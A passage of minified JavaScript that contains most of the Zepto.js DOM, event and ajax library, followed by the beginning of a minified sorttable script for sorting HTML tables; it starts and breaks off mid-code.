a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)
var h=!0,j=!1;sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/sortable/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/sortbottom/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/sorttable_nosort/)){(mtch=headrow[b].className.match(/sorttable_([a-z0-9]+)/))&&(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/sorttable_sorted/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/sorttable_sorted_reverse/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML="&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[$]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var 